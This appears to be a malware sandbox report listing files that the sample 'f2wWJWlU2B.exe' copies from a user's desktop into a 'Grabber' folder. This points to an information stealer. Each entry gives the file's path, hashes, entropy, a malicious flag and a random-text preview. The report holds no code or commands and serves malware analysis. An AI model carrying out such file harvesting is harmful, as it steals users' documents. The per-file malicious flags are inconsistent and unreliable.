Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU\SQRKHNBNYN.png

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699088014379539
Encrypted:	false
SSDEEP:	24:iGmuvXb+mVV5Ule86OuFXvk64KaOMJQaJO7tZAWPN4rOnsK:/muvL+mP5Ule86OuraOMJZOHADqf
MD5:	BF469DD8C21F5160EACD49BB59E9A370
SHA1:	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F
SHA-256:	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
SHA-512:	FBBB805B4C65902C67F2F432BA20FFF689FABDB3652702FA176369107F688C43923C9D729095F313425847E14B138E61117ED6C03E582F82B6426BBC2C481380
Malicious:	true
Preview:	SQRKHNBNYNETDCILWIKLNRYHJZUPCYVTJJKABYYNVEJZBFJGIUZEFUHCOZZISQELZULMAPFIBUSVGGSXSVZRNJXFVUEIKBQNARELKJEJZTEBGXIFTBGDXBSYFJKFICMLOMHZZSIJMPIXZMQULHAZWNOCSCLWTNJMCGVQAOPYTZVRLCKSUPSMWVOFCPJAONGQBPLMQUTZSFYRIBDZWBXIEDJISMCTGTYKEIXWVDVOGMFUNRJDNEGJLVWNACBBGIIRTAHGUMSLSIZNGTRAUGMZTVGLIAKLLKJGKBMXIFPOYCQXJZKJHTLNZGDCLMXTYOBGFAPOQCJGRAKORKGGWPBOJLOZATKDZYFDSONUZOGBFRDBUKZTVYZGXDEWUOXNWHMOIBVOWNWFGBHSDTQQKXWZEHQLAYIXOVZEEZNESKKWITYPIDCMFHTWVHMHFCGNEBNVBSSQHMRSWLHVMAZERIUFTRXEVZHKRXWOMGETJJFBRLFIBRGLAQKLDFZEGHLZSVAMXMNCCUROXGQOMDQJSKUNOGLGYYTVABESIDHASDRACLOFEWGPYLEORXSYDRDGPGOXHIAISBZBDRNVQJXXIBNBXMDSKXPBSCGKGPASGNOIDKIBFJWUIRQHZLXZQVHUEHMHTRDWKGJVQHWFQEBJIBQLDWQHOQLXSPFPLWPYZROYDAQOOOYKTPVFQXLMLRDYSVXVAWCEGVSHGDVSHONQUAVCBBHJRTIJAYXUILHNGHIXFJPJFAUDIJFORYJZHNAXLWYBLWKCVJLUJIGBYGSEWFJFIROQQXBVEJEPGVYKSDGTPKJAXDLAEHUXWDHSNXZPAKHXDOWTIFIVFZHYQJCDKOBOMCFVMEKARJULRZEOXVQKSLPWYLMLCYLKXCIELPAZNPRENTCWPNMFETAJHSENFDLPGHKVHIIHECDTQGWZMNTMEHNJFXFUGFJMWUXXGOIHOBSONRLSITUXOCRFNCIJNPHZABGDPAFATRMRCPXROMUN

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU\ZTGJILHXQB.jpg

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699732953818543
Encrypted:	false
SSDEEP:	24:84HnNFe3vxyUDFktK2hDYjqaULhRGcVtUEn3iQw3M2qh0eQZnT:JnNk34UDFOt6uashRFVtUEnSQwbrV
MD5:	9790C04CE1F6B62202E4E959572AFFDF
SHA1:	48829C582A89E6EC74BFD85E01D2B6D73DDE4931
SHA-256:	20AB8AFF0DDCBA296F3A9F2D2997DC3BE893ABBDF3B8F177D00FF718FF810B7E
SHA-512:	8A702E988A39A50F9E4B8ECDEE15BD8D2B42D7B64D26663787237B83D721C5609B6D43CF2CEBBE3F0E0F44B36744017567B0AE3EBA64E728210D791E35A0DBA2
Malicious:	false
Preview:	ZTGJILHXQBDYANXOJRMTHNAZYEJWWSQMOUZSZDMPOKHAOSBBVKPZGPQYYYFWTHYUPOVLGPRBCMJOKABOUFQRUNCSLBUWHQHWCKJBNSLEKBYSGFLQNFCYSOOCTUPTMHOBQVRJQLHBTRNZVYNQTIJCQLZFVFWQJENWBSFXEGQTZFGKTCXFAERSTJUWBUKFEZZCWBHYCPYTOGPQWDCSXJUDEMFUHRKJBCEKWGYUWKCUJLZNGWAFGUSZJATTGQYULECWSYHFMAJWCTOUCQYTDJGMEUJIXMDEFUZBASTVSKHFKYAQMHJVUJBKUNEBUDWGZWYICPNSQKHKLIYGRWXPZDGTZQLGJEMLSIKUDLOXOTQYFKASRPSSHQEJLDMHJOXHJXMCWCSRSBJNNSKHXAVGHVNKHMXROFSMPJWFKZLJXVUCGYRFNLRCXLJHVEDSCCNKPMFIVDJPIVPOOPVLHIETRYWDPEZHKERGIHEOGISPUBPJNYGTFBITJJMDANWTPGXOIVWBFXGCENAXXTUXHEPQZPXDQZVRRYOKJJTNLYIQMHLRSIZASOUNFSQIWBRQPEPMJUWTSRQDJCLAFGOOKLOOHCUYOWUEGBUNICQSRPNOZCFIERLVGYGFDTKMNYDAPPRFAQXRNCYRLVDKLYPMRXMBQRJZTZBWGJGREIVYIKNRYHOVBXKHXZHPCZMKXFLNMPXXZFTNUPWHKDFHDMXLMDBDEFNDPVUGWVFHGUGURMSQTGEATZDDLJWBTKAXGZDNCCHPPPMVSWBMNTUYYWZPFLNBAPJJDYFQHFXBCHLEHUMGUNHRYXADUJLASWWJAWHMHLKHKYKXNVLXGJNTLZSQBDQABIFRDLCBSFZEMOGPQRZQFSYVIXQJRDSSLMPYIAQPAWAMTUXHSORDJHRLGGGGBGOCCVVAEIEQUBGFQCKVJHQBWPHHQNWDRJITUELVKGFPWZQSBWIWQHACSGDUHPOGGZNNNQTSKYOEUZIIREXQOJCFJCFQ

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\RAYHIWGKDI.jpg

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\SQRKHNBNYN.png

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699088014379539
Encrypted:	false
SSDEEP:	24:iGmuvXb+mVV5Ule86OuFXvk64KaOMJQaJO7tZAWPN4rOnsK:/muvL+mP5Ule86OuraOMJZOHADqf
MD5:	BF469DD8C21F5160EACD49BB59E9A370
SHA1:	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F
SHA-256:	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
SHA-512:	FBBB805B4C65902C67F2F432BA20FFF689FABDB3652702FA176369107F688C43923C9D729095F313425847E14B138E61117ED6C03E582F82B6426BBC2C481380
Malicious:	true
Preview:	SQRKHNBNYNETDCILWIKLNRYHJZUPCYVTJJKABYYNVEJZBFJGIUZEFUHCOZZISQELZULMAPFIBUSVGGSXSVZRNJXFVUEIKBQNARELKJEJZTEBGXIFTBGDXBSYFJKFICMLOMHZZSIJMPIXZMQULHAZWNOCSCLWTNJMCGVQAOPYTZVRLCKSUPSMWVOFCPJAONGQBPLMQUTZSFYRIBDZWBXIEDJISMCTGTYKEIXWVDVOGMFUNRJDNEGJLVWNACBBGIIRTAHGUMSLSIZNGTRAUGMZTVGLIAKLLKJGKBMXIFPOYCQXJZKJHTLNZGDCLMXTYOBGFAPOQCJGRAKORKGGWPBOJLOZATKDZYFDSONUZOGBFRDBUKZTVYZGXDEWUOXNWHMOIBVOWNWFGBHSDTQQKXWZEHQLAYIXOVZEEZNESKKWITYPIDCMFHTWVHMHFCGNEBNVBSSQHMRSWLHVMAZERIUFTRXEVZHKRXWOMGETJJFBRLFIBRGLAQKLDFZEGHLZSVAMXMNCCUROXGQOMDQJSKUNOGLGYYTVABESIDHASDRACLOFEWGPYLEORXSYDRDGPGOXHIAISBZBDRNVQJXXIBNBXMDSKXPBSCGKGPASGNOIDKIBFJWUIRQHZLXZQVHUEHMHTRDWKGJVQHWFQEBJIBQLDWQHOQLXSPFPLWPYZROYDAQOOOYKTPVFQXLMLRDYSVXVAWCEGVSHGDVSHONQUAVCBBHJRTIJAYXUILHNGHIXFJPJFAUDIJFORYJZHNAXLWYBLWKCVJLUJIGBYGSEWFJFIROQQXBVEJEPGVYKSDGTPKJAXDLAEHUXWDHSNXZPAKHXDOWTIFIVFZHYQJCDKOBOMCFVMEKARJULRZEOXVQKSLPWYLMLCYLKXCIELPAZNPRENTCWPNMFETAJHSENFDLPGHKVHIIHECDTQGWZMNTMEHNJFXFUGFJMWUXXGOIHOBSONRLSITUXOCRFNCIJNPHZABGDPAFATRMRCPXROMUN

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\VAMYDFPUND.pdf

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690028473124583
Encrypted:	false
SSDEEP:	24:nCtOJ8AJzDzL/RXD03mp5reBXnqW8rdYu942ZCpjtJHU2coh:nsnA9/Z03y5qXnD0Yz0qjtJpN
MD5:	1E5D6B27E451F2406E5ED97F51985EE1
SHA1:	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C
SHA-256:	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
SHA-512:	619426DCC7B7C18488EC96D5474A5AA62EE4B1E7B52D8550B6A875AF0A19E02772D30142D9DC6986750732671605C7FF31E1F919CC6D121531ECBF0AE092E215
Malicious:	false
Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\ZBEDCJPBEY\BPMLNOBVSB.pdf

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	true
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\ZBEDCJPBEY\FENIVHOIKN.png

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\ZBEDCJPBEY\NIKHQAIQAU.xlsx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
